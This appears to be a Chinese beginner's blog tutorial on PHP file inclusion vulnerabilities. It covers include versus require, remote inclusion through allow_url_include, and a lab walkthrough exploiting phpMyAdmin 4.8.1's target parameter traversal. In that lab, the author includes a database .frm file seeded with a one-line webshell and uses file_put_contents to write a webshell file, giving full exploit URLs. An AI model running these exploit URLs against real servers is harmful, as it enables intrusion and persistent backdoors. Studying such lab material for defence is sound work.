超详细本地文件包含漏洞详解(小白也能懂!)

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。
那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。
【超详细本地文件包含漏洞详解(小白也能懂!)】那么就表明require函数,如果出现错误的话,会影响后面功能的运行。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

只要文件内是php代码,文件包含是不在意文件后缀的。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

12345.jpg的传参值是a,
那么我们可以
写传参值=file_put_contents(‘8.php’,’’)

然后生成一个新的php文件
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

访问index.php
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

以上我们接触的全部是本地文件包含 远程文件包含
简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,
php配置的 php配置的allow_url_include = on必须为on(开启)
来我们可以来实验一下,把这个配置打开。
“其他选项菜单”——“打开配置文件”——“php-ini”
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

之后要重启才能生效。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

可以看到,包含成功!
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?*号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

实战 超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

注意,这里php版本过低,会安装不上
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

安装好后,我们来解析下源码
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片
1.txt内容phpinfo()
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

来本地文件包含一下,发现成功
http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

靶场实战
先创建一个库名:nf
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

接着创建表:ff,字段数选2个就行了
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

然后我们找到存放表的路径。
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo
http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo();
因为a在ff.frm里
//注意,这里面没有分号和单引号

文件包含
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

用file_put_contents(‘8.php’,’’)写入一句话木马
URL地址如下:
http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=file_put_contents(‘8.php’,’’);

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

写入成功后,我们连接这个8.php的木马
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的
  1. 创建一个库为yingqian1984,
  2. 创建一个表为yq1984
  3. 填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据
  4. 找数据表的位置,最后我发现我的MySQL存放数据库的地方是在
    C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984
    超详细本地文件包含漏洞详解(小白也能懂!)
    文章图片
文件包含成功
http://127.0.0.1/phpmyadmin/p...…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

用file_put_contents(‘9.php’,’’)写入一句话木马
http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’’); * 注意,这里面没有分号和单引号*

超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

传参成功
超详细本地文件包含漏洞详解(小白也能懂!)
文章图片

本文由mdnice多平台发布

    推荐阅读